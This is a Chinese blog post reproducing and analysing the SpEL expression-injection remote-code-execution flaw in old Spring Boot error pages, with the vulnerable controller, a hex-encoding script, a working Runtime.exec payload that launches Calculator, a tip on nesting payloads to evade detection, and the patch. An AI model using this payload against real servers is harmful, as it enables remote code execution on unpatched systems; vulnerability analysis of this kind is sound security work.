51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

低版本SpringBoot-SpEL表达式注入漏洞复现分析

低版本SpringBoot-SpEL表达式注入漏洞复现分析 {#低版本SpringBoot-SpEL表达式注入漏洞复现分析}

影响版本 {#影响版本}

SpringBoot 1.1.0-1.1.12
SpringBoot 1.2.0-1.2.7
SpringBoot 1.3.0

利用条件是使用了springboot的默认错误页(Whitelabel Error Page),漏洞点在:org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration

触发原因 {#触发原因}

在SpringBoot的自定义错误页面,功能是页面返回错误,并提供详细信息,信息中包括错误status("status"->500)、时间戳("timestamp"->"Fri Dec.....")、错误信息("error"->"Internal Server Error")、和用户输入的参数("message"->"abcd"),这些参数在模板文件中以类似于以下形式存在:"Error 1234 ${status}---${timestamp}---${error}---${message}"。

关于漏洞的原理:

  1. spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
  2. 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
  3. 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

但主要的原因在于这里使用了递归,也就是说如果参数名中还包含${和}的话,这个解析引擎会再次递归一次,再次解析这个值,如,模板中有个值为${${abc}},由于使用了递归,解析引擎会对其解析两次,第一层去掉最外层的{}解析成${abc},然后将其作为参数进行第二次解析。在第二次解析中将里层的{}去掉,变成abc

分析 {#分析}

简简单单写个抛出异常的控制器即可,这里访问下面这个url,页面当中就会出现36

|-----------|--------------------------------------------| | 1 | http://127.0.0.1:8080/?test=${6*6} |

|-------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 | public String abc(HttpServletRequest request){ try { throw new NullPointerException(request.getParameter("cmd")); }catch (Exception e){ } |

进入正题,在org.springframework.util.PropertyPlaceholderHelper#parseStringValue

首先会提取出${}当中的内容,这里第一个是从模板里取出的所以只能是timestamp\error\status\message

以timestamp为例子,这里在得到SpEL解析的结果后下面还会再对这个值继续进行SpEL表达式解析,很骚,调用的是parseStringValue,也就是一个递归的过程因此造成了SpEL的递归解析因此最终导致漏洞的产生,知道这个过程以后我们甚至可以让payload变得更难被探测,比如${${1*2}*6}会返回12

由字符串格式转换成 0x** java 字节形式,方便执行任意代码:

|-----------------------|------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 | # coding: utf-8 result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(',')) |

这里执行open -na Calculator

|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 | ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))} |

补丁分析 {#补丁分析}

补丁创建了一个新的NonRecursivePropertyPlaceholderHelper类,用于防止parseStringValue进行递归解析

参考文章 {#参考文章}

https://www.jianshu.com/p/ce4ac733a4b9

赞(3)
未经允许不得转载:工具盒子 » 低版本SpringBoot-SpEL表达式注入漏洞复现分析